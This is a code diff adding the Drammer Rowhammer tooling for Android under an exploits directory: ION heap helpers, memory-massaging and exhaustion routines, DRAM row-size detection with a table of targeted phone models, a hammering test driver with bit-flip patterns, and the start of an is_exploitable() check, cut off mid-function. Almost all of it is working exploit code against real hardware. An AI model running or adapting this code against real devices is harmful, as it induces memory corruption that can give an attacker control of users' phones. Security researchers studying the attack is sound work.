(%s)\n", strerror(errno)); + continue; + } + printf(" -> ok!\n"); + handle_data.handle = allocation_data.handle; + err = ioctl(ion_fd, ION_IOC_FREE, &handle_data); + if (err) { + printf(" -> could not free (%s)\n", strerror(errno)); + continue; + } + } +} diff --git b/exploits/drammer/ion.h a/exploits/drammer/ion.h new file mode 100644 index 0000000..bb54ab0 --- /dev/null +++ a/exploits/drammer/ion.h @@ -0,0 +1,54 @@ +/* + * Copyright 2016, Victor van der Veen + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + +#ifndef __ION_H__ +#define __ION_H__ + +#include +#include +#include +#include + +#include +#include + + +struct ion_data { + ion_user_handle_t handle; + int fd, len; + void *mapping = NULL; + + std::vector hammerable_rows; +}; + + + +ion_user_handle_t ION_alloc(int len, int heap_id = -1); +int ION_share(ion_user_handle_t handle); +int ION_free (ion_user_handle_t handle); + +int ION_mmap (struct ion_data *data, int prot = -1, int flags = -1, void *addr = NULL); +void ION_clean(struct ion_data *data); +int ION_bulk(int len, std::vector &chunks, int max = 0, bool mmap = true); +void ION_clean_all( std::vector &chunks, int max = 0); +void ION_get_hammerable_rows(struct ion_data *chunk); + +void ION_detector(void); +void ION_init(void); +void ION_fini(void); + +#endif diff --git b/exploits/drammer/massage.cc a/exploits/drammer/massage.cc new file mode 100644 index 0000000..903e1d8 --- /dev/null +++ a/exploits/drammer/massage.cc @@ -0,0 +1,198 @@ +/* + * Copyright 2016, Victor van der Veen + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "helper.h" +#include "ion.h" +#include "massage.h" +#include "rowsize.h" +#include "templating.h" + +extern bool lowmem; + +bool alloc_timeout; +void alloc_alarm(int signal) { + printf("Allocation timeout\n"); + alloc_timeout = true; +} + +std::ifstream meminfo("/proc/meminfo"); +size_t read_meminfo(std::string type) { + meminfo.clear(); + meminfo.seekg(0, std::ios::beg); + for (std::string line; getline(meminfo, line); ) { + if (line.find(type) != std::string::npos) { + std::string kb = line.substr( line.find(':') + 1, line.length() - type.length() - 3 ); + return std::atoi(kb.c_str()); + } + } + return 0; +} +size_t get_LowFree(void) { return read_meminfo("LowFree"); } + +int exhaust(std::vector &chunks, int min_bytes, bool mmap) { + int total_kb; + + total_kb = 0; + for (int order = MAX_ORDER; order >= B_TO_ORDER(min_bytes); order--) { + int count = ION_bulk(ORDER_TO_B(order), chunks, 0, mmap); + print("[EXHAUST] - order %2d (%4d KB) - got %3d chunks\n", + order, ORDER_TO_KB(order), count); + total_kb += ORDER_TO_KB(order) * count; + + if (lowmem) break; + } + print("[EXHAUST] allocated %d KB (%d MB)\n", total_kb, total_kb / 1024); + + return total_kb; +} + + + + +/* stop defrag when it has been working for more than ALLOC_TIMEOUT seconds */ +#define ALLOC_TIMEOUT 10 + +/* stop defrag when the system has less than MIN_LOWFREE KB low memory left */ +#define MIN_LOWFREE 4 * 1024 + +/* stop defrag when none of the last allocations yield more than MIN_COUNT blocks */ +#define INTERVAL 10 +#define MIN_COUNT 10 + +/* The goal of defrag() is to trick the system into reserving more 'ION memory' + * that we can allocate when we start templating. We do this by exhausting all + * 4K ION chunks, resulting in the low memory killer killing background + * processes and moving cached memory into a pool that can be used for ION + * allocations. + * + * We first exhaust all contiguous chunks of size 64KB and up, to ensure that + * background processes are already forced to use smaller contiguous memory + * chunks (up to 32KB). Since we cannot simply exhaust *all* 4KB chunks (we + * would go completely out of memory), we then allocate chunks until: + * - a timeout occurs (after ALLOC_TIMEOUT seconds); or + * - the system has little free low memory left (MIN_LOWFREE KB); or + * - we did not get many new blocks during the last x seconds (INTERAL / + * MINCOUNT) + */ +void defrag(int alloc_timer) { + std::vector defrag_chunks; + + time_t start_time = 0; + time_t prev_time = 0; + int count = 0; + int prev_count = 0; + int alloc_count[INTERVAL]; + for (int i = 0; i < INTERVAL; i++) alloc_count[i] = MIN_COUNT + 1; + int alloc_count_index = 0; + int len = K(4); + + exhaust(defrag_chunks, K(64), false); + + if (lowmem) goto bail; + + alloc_timeout = false; + signal(SIGALRM, alloc_alarm); + alarm(alloc_timer); + + start_time = time(NULL); + + while (true) { + struct ion_data *data = new ion_data; + if (data == NULL) { + perror("Could not allocate memory"); + exit(EXIT_FAILURE); + } + data->handle = ION_alloc(len); + if (data->handle == 0) { + printf("Exhausted *all* memory?\n"); + break; +// exit(EXIT_FAILURE); + } + data->len = len; + data->mapping = NULL; + count++; + + time_t curr_time = time(NULL); + if (curr_time != prev_time) { + int lowfree = get_LowFree(); + int timerunning = (curr_time - start_time); + int timeleft = alloc_timer - timerunning; + + alloc_count[alloc_count_index] = (count - prev_count); + alloc_count_index = (alloc_count_index + 1) % 10; + bool progress = false; + print("[DEFRAG] Blocks allocated last %d intervals: ", 10); + for (int i = 9; i >= 0; i--) { + printf("%5d ", alloc_count[(alloc_count_index + i) % 10]); + if (alloc_count[i] > MIN_COUNT) + progress = true; + } + print(" | time left: %3d | low free: %8d KB | blocks: %8d\n", + timeleft, lowfree, count); + + if (!progress) { + print("[DEFRAG] Not enough progress\n"); + break; + } + + // some devices do not report LowFree in /proc/meminfo + if (lowfree > 0 && lowfree < MIN_LOWFREE) { + print("[DEFRAG] Not enough low memory\n"); + break; + } + + if (alloc_timeout) { + print("[DEFRAG] Timeout\n"); + break; + } + + prev_count = count; + prev_time = curr_time; + } + defrag_chunks.push_back(data); + } + + print("[DEFRAG] Additionally got %d chunks of size %d KB (%d bytes in total = %d MB)\n", + count, len, count * len, count * len / 1024 / 1024); + +bail: + ION_clean_all(defrag_chunks); + + printf("[DEFRAG] Dumping /proc/pagetypeinfo\n"); + std::ifstream pagetypeinfo("/proc/pagetypeinfo"); + pagetypeinfo.clear(); + pagetypeinfo.seekg(0, std::ios::beg); + for (std::string line; getline(pagetypeinfo, line); ) { + if (!line.empty()) print("%s\n", line.c_str()); + } +} diff --git b/exploits/drammer/massage.h a/exploits/drammer/massage.h new file mode 100644 index 0000000..be9ae97 --- /dev/null +++ a/exploits/drammer/massage.h @@ -0,0 +1,24 @@ +/* + * Copyright 2016, Victor van der Veen + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + +#ifndef __MASSAGE_H__ +#define __MASSAGE_H__ + +void defrag(int alloc_timer); +int exhaust(std::vector &chunks, int min_bytes, bool mmap = true); + +#endif diff --git b/exploits/drammer/rh-test.cc a/exploits/drammer/rh-test.cc new file mode 100644 index 0000000..9804cf9 --- /dev/null +++ a/exploits/drammer/rh-test.cc @@ -0,0 +1,249 @@ +/* + * Copyright 2016, Victor van der Veen + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "helper.h" +#include "ion.h" +#include "massage.h" +#include "rowsize.h" +#include "templating.h" + +#define HAMMER_READCOUNT 1000000 + +FILE *global_of = NULL; + +extern int rowsize; + + + +void usage(char *main_program) { + fprintf(stderr,"Usage: %s [-a] [-c count] [-d seconds] [-f file] [-h] [-i] [-q cpu] [-r rowsize] [-t timer]\n", main_program); + fprintf(stderr," -a : Run all pattern combinations\n"); + fprintf(stderr," -c count : Number of memory accesses per hammer round (default is %d)\n",HAMMER_READCOUNT); + fprintf(stderr," -d seconds: Number of seconds to run defrag (default is disabled)\n"); + fprintf(stderr," -f file : Write output to this file\n"); + fprintf(stderr," -h : This help\n"); + fprintf(stderr," -i : Run ion heap type detector\n"); + fprintf(stderr," -q cpu : Pin to this CPU\n"); + fprintf(stderr," -r rowsize: Rowsize of DRAM module in B (autodetect if not specified)\n"); + fprintf(stderr," -s : Hammer more conservative (currently set to hammering every 64 bytes)\n"); + fprintf(stderr," -t timer : Number of seconds to hammer (default is to hammer everything)\n"); +} + +void resetter(uint8_t *pattern) { + for (int i = 0; i < MAX_ROWSIZE; i++) { + pattern[i] = rand() % 255; + } +} + + +int main(int argc, char *argv[]) { + printf("______ ______ _______ _______ _______ _______ ______ \n"); + printf("| \\ |_____/ |_____| | | | | | | |______ |_____/ \n"); + printf("|_____/ | \\_ | | | | | | | | |______ | \\_\n"); + printf("\n"); + + int c; + int timer = 0; + int alloc_timer = 0; + char *outputfile = NULL; + int hammer_readcount = HAMMER_READCOUNT; + bool heap_type_detector = false; + bool do_conservative = false; + bool all_patterns = false; + int cpu_pinning = -1; + opterr = 0; + while ((c = getopt(argc, argv, "sac:d:f:hiq:r:t:")) != -1) { + switch (c) { + case 'a': + all_patterns = true; + break; + case 'c': + hammer_readcount = strtol(optarg, NULL, 10); + break; + case 'd': + alloc_timer = strtol(optarg, NULL, 10); + break; + case 'f': + outputfile = optarg; + break; + case 'h': + usage(argv[0]); + return 0; + case 'i': + heap_type_detector = true; + break; + case 'q': + cpu_pinning = strtol(optarg, NULL, 10); + break; + case 'r': + rowsize = strtol(optarg, NULL, 10); + break; + case 's': + do_conservative = true; + break; + case 't': + timer = strtol(optarg, NULL, 10); + break; + case '?': + if (optopt == 'c' || optopt == 'd' || optopt == 'f' || optopt == 'q' || optopt == 'r' || optopt == 't') + fprintf(stderr, "Option -%c requires an argument.\n", optopt); + else if (isprint(optopt)) + fprintf(stderr,"Unknown option `-%c'.\n", optopt); + else + fprintf(stderr,"Unknown option character `\\x%x'.\n", optopt); + usage(argv[0]); + return 1; + default: + abort(); + } + } + + + printf("[MAIN] ION init\n"); + ION_init(); + + std::vector ion_chunks; + std::vector templates; + + if (outputfile != NULL) { + global_of = fopen(outputfile, "w"); + if (global_of == NULL) { + perror("could not open output file"); + exit(0); + } + setvbuf(global_of, NULL, _IONBF, 0); + } + setvbuf(stderr, NULL, _IONBF, 0); + setvbuf(stdout, NULL, _IONBF, 0); + + + if (heap_type_detector) { + ION_detector(); + return 0; + } + + if (cpu_pinning != -1) { + printf("[MAIN] Pinning to CPU...\n"); + cpu_set_t cpuset; + CPU_ZERO(&cpuset); + CPU_SET(cpu_pinning, &cpuset); + if (sched_setaffinity(0, sizeof(cpuset), &cpuset)) { + perror("Could not pin CPU"); + } + } + + /*** DEFRAG MEMORY */ + if (alloc_timer) { + printf("[MAIN] Defragment memory\n"); + defrag(alloc_timer); + } + + /*** ROW SIZE DETECTION (if not specified) */ + if (!VALID_ROWSIZES.count(rowsize)) { + printf("[MAIN] No or weird row size provided, trying auto detect\n"); + rowsize = RS_autodetect(); + } + print("[MAIN] Row size: %d\n", rowsize); + + /*** EXHAUST */ + printf("[MAIN] Exhaust ION chunks for templating\n"); + exhaust(ion_chunks, rowsize * 4); + + + /* patterns: above victim below + * p000 0x00000000 0x00000000 0x00000000 + * p001 0x00000000 0x00000000 0xffffffff + * p010 0x00000000 0xffffffff 0x00000000 <-- default + * p011 0x00000000 0xffffffff 0xffffffff + * p100 0xffffffff 0x00000000 0x00000000 + * p101 0xffffffff 0x00000000 0xffffffff <-- default + * p110 0xffffffff 0xffffffff 0x00000000 + * p111 0xffffffff 0xffffffff 0xffffffff + * + * p00r 0x00000000 0x00000000 0x + * p0r0 0x00000000 0x 0x00000000 + * p0rr 0x00000000 0x 0x + * pr00 0x 0x00000000 0x00000000 + * pr0r 0x 0x00000000 0x + * prr0 0x 0x 0x00000000 + * prrr 0x 0x 0x + */ + + printf("[MAIN] Initializing patterns\n"); + uint8_t ones[MAX_ROWSIZE]; + uint8_t zeros[MAX_ROWSIZE]; + uint8_t rand1[MAX_ROWSIZE]; + uint8_t rand2[MAX_ROWSIZE]; + uint8_t rand3[MAX_ROWSIZE]; + memset( ones, 0xff, MAX_ROWSIZE); + memset(zeros, 0x00, MAX_ROWSIZE); + for (int i = 0; i < MAX_ROWSIZE; i++) { + rand1[i] = rand() % 255; + rand2[i] = rand() % 255; + rand3[i] = rand() % 255; + } + + pattern_t p000 = { .above = zeros, .victim = zeros, .below = zeros, .cur_use = 0, .max_use = 0, .reset_above = NULL, .reset_victim = NULL, .reset_below = NULL }; + pattern_t p001 = { .above = zeros, .victim = zeros, .below = ones, .cur_use = 0, .max_use = 0, .reset_above = NULL, .reset_victim = NULL, .reset_below = NULL }; + pattern_t p010 = { .above = zeros, .victim = ones, .below = zeros, .cur_use = 0, .max_use = 0, .reset_above = NULL, .reset_victim = NULL, .reset_below = NULL }; + pattern_t p011 = { .above = zeros, .victim = ones, .below = ones, .cur_use = 0, .max_use = 0, .reset_above = NULL, .reset_victim = NULL, .reset_below = NULL }; + pattern_t p100 = { .above = ones, .victim = zeros, .below = zeros, .cur_use = 0, .max_use = 0, .reset_above = NULL, .reset_victim = NULL, .reset_below = NULL }; + pattern_t p101 = { .above = ones, .victim = zeros, .below = ones, .cur_use = 0, .max_use = 0, .reset_above = NULL, .reset_victim = NULL, .reset_below = NULL }; + pattern_t p110 = { .above = ones, .victim = ones, .below = zeros, .cur_use = 0, .max_use = 0, .reset_above = NULL, .reset_victim = NULL, .reset_below = NULL }; + pattern_t p111 = { .above = ones, .victim = ones, .below = ones, .cur_use = 0, .max_use = 0, .reset_above = NULL, .reset_victim = NULL, .reset_below = NULL }; + + pattern_t p00r = { .above = zeros, .victim = zeros, .below = rand3, .cur_use = 0, .max_use = 100, .reset_above = NULL, .reset_victim = NULL, .reset_below = resetter }; + pattern_t p0r0 = { .above = zeros, .victim = rand2, .below = zeros, .cur_use = 0, .max_use = 100, .reset_above = NULL, .reset_victim = resetter, .reset_below = NULL }; + pattern_t p0rr = { .above = zeros, .victim = rand2, .below = rand3, .cur_use = 0, .max_use = 100, .reset_above = NULL, .reset_victim = resetter, .reset_below = resetter }; + pattern_t pr00 = { .above = rand1, .victim = zeros, .below = zeros, .cur_use = 0, .max_use = 100, .reset_above = resetter, .reset_victim = NULL, .reset_below = NULL }; + pattern_t pr0r = { .above = rand1, .victim = zeros, .below = rand1, .cur_use = 0, .max_use = 100, .reset_above = resetter, .reset_victim = NULL, .reset_below = resetter }; + pattern_t prr0 = { .above = rand1, .victim = rand2, .below = zeros, .cur_use = 0, .max_use = 100, .reset_above = resetter, .reset_victim = resetter, .reset_below = NULL }; + pattern_t prrr = { .above = rand1, .victim = rand2, .below = rand3, .cur_use = 0, .max_use = 100, .reset_above = resetter, .reset_victim = resetter, .reset_below = resetter }; + + std::vector patterns; + if (all_patterns) + patterns = {&p000, &p001, &p010, &p011, &p100, &p101, &p110, &p111, + &p00r, &p0r0, &p0rr, &pr00, &pr0r, &prr0, &prrr}; + else + patterns = {&p101, &p010}; + + /*** TEMPLATE */ + printf("[MAIN] Start templating\n"); + TMPL_run(ion_chunks, templates, patterns, timer, hammer_readcount, do_conservative); + + /*** CLEAN UP */ + ION_clean_all(ion_chunks); + + printf("[MAIN] ION fini\n"); + ION_fini(); +} diff --git b/exploits/drammer/rowsize.cc a/exploits/drammer/rowsize.cc new file mode 100644 index 0000000..687b24a --- /dev/null +++ a/exploits/drammer/rowsize.cc @@ -0,0 +1,330 @@ +/* + * Copyright 2016, Victor van der Veen + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include + +#include "helper.h" +#include "ion.h" +#include "rowsize.h" + +#define ROWSIZE_READCOUNT 2500000 // 2.5 million reads +#define ROWSIZE_PAGES 64 + +#define DEFAULT_ROWSIZE K(64) + +std::vector models = { +// model ro.product.name board platform ion row generic name + +// Snapdragon 820 +// {"SM-G935T", "hero2qltetmo", "msm8996", "msm8996", 21, 0, "Samsung Galaxy S7 Edge"}, +// {"SAMSUNG-SM-G930A", "heroqlteuc","MSM8996", "msm8996", 21, 0, "Samsung Galaxy S7"}, + +// Snapdragon 810 +// {"Nexus 6P", "angler", "angler", "msm8994", 21, 0, "Huawei Nexus 6P"}, + {"E6853", "E6853", "msm8994", "msm8994", 21, K(64), "Sony Xperia Z5"}, + +// Snapdragon 808 + {"Nexus 5X", "bullhead", "bullhead", "msm8992", 21, K(64), "LG Nexus 5X"}, + {"LG-H960", "pplus_global_com", "msm8992", "msm8992", 21, K(64), "LG V10"}, + {"LG-H815", "p1_global_com", "msm8992", "msm8992", 21, K(64), "LG G4"}, + + {"C1905", "cm_nicki", "qcom", "msm8960", 22, K(32), "Sony Xperia M"}, + +// Snapdragon 805 + {"SM-G901F", "kccat6xx", "APQ8084", "apq8084", 21, K(128), "Samsung Galaxy S5 Plus"}, +// {"SM-N910V", "trltevzw", "APQ8084", "apq8084", 21, 0, "Samsung Galaxy Note 4"}, + +// Snapdragon 800 + {"Nexus 5", "hammerhead", "hammerhead", "msm8974", 21, K(64), "LG Nexus 5"}, + {"A0001", "bacon", "MSM8974", "msm8974", 21, K(128), "OnePlus One"}, + {"SM-G870F", "klteactivexx", "MSM8974", "msm8974", 21, K(64), "Samsung Galaxy S5 Active"}, +// {"SM-G900T", "kltetmo", "MSM8974", "msm8974", 21, 0, "Samsung Galaxy S5"}, + +// Snapdragon 410: +// {"SM-A500FU", "a5ultexx", "MSM8916", "msm8916", 21, 0, "Samsung Galaxy A5"}, +// {"MotoG3", "osprey_retus", "msm8916", "msm8916", 21, 0, "Motorola Moto G 3rd Gen"}, + {"GT-I9195I", "serranoveltexx", "MSM8916", "msm8916", 21, K(32), "Samsung Galaxy S4 Mini"}, + {"KIW-L21", "KIW-L21", "KIW-L21", "msm8916", 21, K(32), "Huawei Honor 5X"}, + {"MotoE2(4G-LTE)", "surnia_reteu","msm8916", "msm8916", 21, K(32), "Motorola Moto E 2nd Gen"}, + {"MotoG3", "osprey_reteu", "msm8916", "msm8916", 21, K(32), "Motorola Moto G 3rd Gen"}, + {"HUAWEI RIO-L01", "RIO-L01", "RIO-L01", "msm8916", 21, K(64), "Huawei GX8/G8"}, + {"HTC One M8s","m8qlul_htc_europe","msm8939", "msm8916", 21, K(64), "HTC One M8s"}, + +// Snapdragon 400: + {"XT1064", "titan_retuaws", "MSM8226", "msm8226", 21, K(32), "Motorola Moto G 2nd Gen"}, + {"XT1068", "titan_retaildsds", "MSM8226", "msm8226", 21, K(32), "Motorola Moto G 2nd Gen"}, +// {"LG-V410", "e7lte_att_us", "MSM8226", "msm8226", 21, 0, "LG G Pad 7.0"}, + + {"SM-J320FN", "j3xnltexx", "SC9830I", "sc8830", 2, K(32), "Samsung Galaxy J3 2016"}, + {"SM-A310F", "a3xeltexx", "universal7580", "exynos5", 4, K(64), "Samsung Galaxy A3 2016"}, // not sure about the rowsize... + {"SM-A700F", "a7altexx", "universal5430", "exynos5", 4, K(128), "Samsung Galaxy A7"}, + {"SM-G920F", "zerofltexx", "universal7420", "exynos5", 4, K(128), "Samsung Galaxy S6"}, + {"SM-G935F", "hero2ltexx", "universal8890", "exynos5", 4, K(256), "Samsung Galaxy S7 Edge"}, + {"SM-G930F", "heroltexx", "universal8890", "exynos5", 4, K(256), "Samsung Galaxy S7"}, +// {"SM-T710", "gts28wifixx", "universal5433", "exynos5", 4, 0, "Samsung Galaxy Tab S2 8.0"}, + {"SM-G935F", "hero2ltexx", "universal8890", "exynos5", 4, K(256), "Samsung Galaxy S7 Edge"}, + {"SM-G930F", "heroltexx", "universal8890", "exynos5", 4, K(256), "Samsung Galaxy S7"}, +// {"SM-T710", "gts28wifixx", "universal5433", "exynos5", 4, 0, "Samsung Galaxy Tab S2 8.0"}, +// {"SM-T810", "gts210wifixx", "universal5433", "exynos5", 4, 0, "Samsung Galaxy Tab S2 9.7"}, + { "SM-N910C", "treltexx", "universal5433", "exynos5", 4, K(64), "Samsung Galaxy Note 4"}, + + // Snapdragon S4 +// {"AOSP on Mako", "full_mako", "MAKO", "msm8960", 21, 0, ""}, + + {"ALE-L21", "ALE-L21", "BalongV8R1SFT", "hi6210sft",1, K(32), "Huawei P8 Lite"}, + {"EVA-L09", "EVA-L09", "EVA-L09", "hi3650", 1, K(64), "Huawei P9"}, + {"HUAWEI VNS-L31", "VNS-L31", "VNS-L31", "hi6250", 1, K(32), "Huawei P9 Lite"}, + + {"NEO6_LTE", "NEO6_LTE", "", "mt6735", 1, K(32), "Odys Neo 6"}, + + {"HTC Desire 830 dual sim","a51cml_dtul_00401","", "mt6753", 1, K(64), "HTC Desire 830"}, + + {"E5603", "E5603", "", "mt6795", 1, K(64), "Sony Xperia M5"} + + + // MT6572 +// {"Goophone i5C", "mbk72_wet_jb3", "mbk72_wet_jb3", "", 21, 0, "Goophone i5C"}, + + // MT8735 + + +}; + +int rowsize; + +uint64_t compute_mad(std::vector &v) { + uint64_t median = compute_median(v); + + std::vector absolute_deviations; + for (auto it : v) { + if (it < median) absolute_deviations.push_back( median - it ); + else absolute_deviations.push_back (it - median ); + } + sort(absolute_deviations.begin(), absolute_deviations.end()); + return compute_median(absolute_deviations); +} + +uint64_t compute_iqr(std::vector &v, uint64_t *q1, uint64_t *q2, uint64_t *q3) { + std::vector tmp = v; + sort(tmp.begin(), tmp.end()); + auto const i1 = tmp.size() / 4; + auto const i2 = tmp.size() / 2; + auto const i3 = i1 + i2; + std::nth_element(tmp.begin(), tmp.begin() + i1, tmp.end()); + std::nth_element(tmp.begin() + i1 + 1, tmp.begin() + i2, tmp.end()); + std::nth_element(tmp.begin() + i2 + 1, tmp.begin() + i3, tmp.end()); + *q1 = tmp[i1]; + *q2 = tmp[i2]; + *q3 = tmp[i3]; + return (tmp[i3] - tmp[i1]); +} + +std::string getprop(std::string property) { + std::string cmd = "/system/bin/getprop "; + cmd += property; + + char buffer[128]; + std::string value = ""; + std::shared_ptr pipe(popen(cmd.c_str(), "r"), pclose); + if (!pipe) { + perror("popen failed"); + return value; + } + while (!feof(pipe.get())) { + if (fgets(buffer, 128, pipe.get()) != NULL) + value += buffer; + } + value.erase(std::remove(value.begin(), value.end(), '\n'), value.end()); + return value; +} + +#define KNOWN_MODEL 2 +#define FAMILIAR_MODEL 1 +#define UNKNOWN_MODEL 0 +struct model *get_model(int *familiarity) { + std::string model = getprop("ro.product.model"); + print("[RS] ro.product.model: %s\n", model.c_str()); + + std::string name = getprop("ro.product.name"); + print("[RS] ro.product.name: %s\n",name.c_str()); + + std::string board = getprop("ro.product.board"); + print("[RS] ro.product.board: %s\n", board.c_str()); + + std::string platform = getprop("ro.board.platform"); + print("[RS] ro.board.platform: %s\n", platform.c_str()); + + for (std::vector::iterator it = models.begin(); + it != models.end(); + ++it) { + struct model *m = &(*it); + if (m->model == model || m->name == name) { + print("[RS] known model: %s\n", m->generic_name.c_str()); + *familiarity = KNOWN_MODEL; + return m; + } + } + + for (std::vector::iterator it = models.begin(); + it != models.end(); + ++it) { + struct model *m = &(*it); + if (m->board == board || m->platform == platform) { + printf("[RS] familiar model: %s\n", m->generic_name.c_str()); + *familiarity = FAMILIAR_MODEL; + return m; + } + } + + *familiarity = UNKNOWN_MODEL; + return NULL; +} + + +/* auto detect row size */ +int RS_autodetect(void) { + + print("[RS] Trying getprop\n"); + int familiarity; + struct model *m = get_model(&familiarity); + if (familiarity == KNOWN_MODEL) { + rowsize = m->rowsize; + return rowsize; + } + + + print("[RS] Allocating 256 ion chunk\n"); + struct ion_data data; + data.handle = ION_alloc(K(256)); + if (data.handle == 0) { + perror("Could not allocate 256K chunk for row size detection"); + exit(EXIT_FAILURE); + } + data.len = K(256); + ION_mmap(&data); + + print("[RS] Reading from page 0 and page x (x = 0..%d)\n",ROWSIZE_PAGES); + std::vector deltas; + int page1 = 0; + volatile uintptr_t *virt1 = (volatile uintptr_t *) ((uint64_t) data.mapping + (page1 * PAGESIZE)); + for (int page2 = 0; page2 < ROWSIZE_PAGES; page2++) { + volatile uintptr_t *virt2 = (volatile uintptr_t *) ((uint64_t) data.mapping + (page2 * PAGESIZE)); + + uint64_t t1 = get_ns(); + for (int i = 0; i < ROWSIZE_READCOUNT; i++) { + *virt1; + *virt2; + } + uint64_t t2 = get_ns(); + deltas.push_back((t2 - t1) / ROWSIZE_READCOUNT); + + print("%llu ", deltas.back()); + } + print("\n"); + + if (munmap(data.mapping, data.len)) { + perror("Could not munmap"); + exit(EXIT_FAILURE); + } + if (close(data.fd)) { + perror("Could not close"); + exit(EXIT_FAILURE); + } + if (ION_free(data.handle)) { + perror("Could not free"); + exit(EXIT_FAILURE); + } + + uint64_t q1, q2, q3; + uint64_t iqr = compute_iqr (deltas, &q1, &q2, &q3); + uint64_t median = compute_median(deltas); + uint64_t mad = compute_mad (deltas); + + print("[RS] Median: %llu\n", median); + print("[RS] MAD: %llu\n", mad); + print("[RS] IQR: %llu\n", iqr); + + // MAD, IQR and standard deviation all need some form of correction... :( + iqr += 5; + print("[RS] Corrected IQR: %llu\n", iqr); + + + /* try simple algorithm first */ + int count = 0; + for (auto it: deltas) { + if (it < 2*median) { + count++; + } else { + break; + } + } + printf("count: %d\n", count); + rowsize = count * 4096; + + /* do more advanced stuff if the rowsize is absurd */ + if (rowsize >= K(128)) { + + print("[RS] Sequences: "); + std::vector seq_normal; + std::vector seq_outlier; + int sn = 0; int so = 0; + for (auto it : deltas) { + if (it < q1 - 1.5*iqr || it > q3 + 1.5*iqr) { + if (so != 0) { + seq_normal.push_back(so); + print("%d ", so); + so = 0; + } + sn++; + } else { + if (sn != 0) { + seq_outlier.push_back(sn); + print("%d ", sn); + sn = 0; + } + so++; + } + } + printf("\n"); + + rowsize = (compute_median(seq_normal) + compute_median(seq_outlier)) * 4096; + } + + + print("[RS] Detected row size: %d\n", rowsize); + if (!VALID_ROWSIZES.count(rowsize)) { + if (familiarity == FAMILIAR_MODEL) { + print("[RS] WARNING! Weird row size detected, assuming familiar model's rowsize %d\n", m->rowsize); + rowsize = m->rowsize; + } else { + print("[RS] WARNING! Weird row size detected, assuming %d\n", DEFAULT_ROWSIZE); + rowsize = DEFAULT_ROWSIZE; + } + } + + return rowsize; +} diff --git b/exploits/drammer/rowsize.h a/exploits/drammer/rowsize.h new file mode 100644 index 0000000..582194d --- /dev/null +++ a/exploits/drammer/rowsize.h @@ -0,0 +1,42 @@ +/* + * Copyright 2016, Victor van der Veen + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#ifndef __ROWSIZE_H__ +#define __ROWSIZE_H__ + +#include + +#include "helper.h" + +const std::set VALID_ROWSIZES = {K(16), K(32), K(64), K(128), K(256)}; + +#define PAGES_PER_ROW (rowsize / PAGESIZE) +#define MAX_ROWSIZE K(256) + +int RS_autodetect(void); + +struct model { + std::string model; // ro.product.model + std::string name; // ro.product.name + std::string board; // ro.product.board + std::string platform; // ro.board.platform + int kmalloc_heap; + int rowsize; + std::string generic_name; +}; + + +#endif // __ROWSIZE_H__ diff --git b/exploits/drammer/templating.cc a/exploits/drammer/templating.cc new file mode 100644 index 0000000..c868d6a --- /dev/null +++ a/exploits/drammer/templating.cc @@ -0,0 +1,435 @@ +/* + * Copyright 2016, Victor van der Veen + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + +#include +#include + +#include "ion.h" +#include "rowsize.h" +#include "templating.h" + +extern int rowsize; + +#define PAGES_PER_ROW (rowsize / PAGESIZE) + +#define FLIP_DIRECTION_STR(x) (((x) == ONE_TO_ZERO) ? "1-to-0" : "0-to-1") + +//#define DEBUG + +#ifdef DEBUG +#define dprintf(...) printf(__VA_ARGS__) +#else +#define dprintf(...) do {} while (0) +#endif + + +int spc_flips = 0; + +bool is_exploitable(struct template_t *tmpl) { + int rows_per_chunk = tmpl->ion_len / rowsize; + + dprintf("- bits flipped : %6d\n", tmpl->bits_set); + if (tmpl->bits_set != 1) { + dprintf("[ :( ] We support only single flips\n"); + return false; + } + + 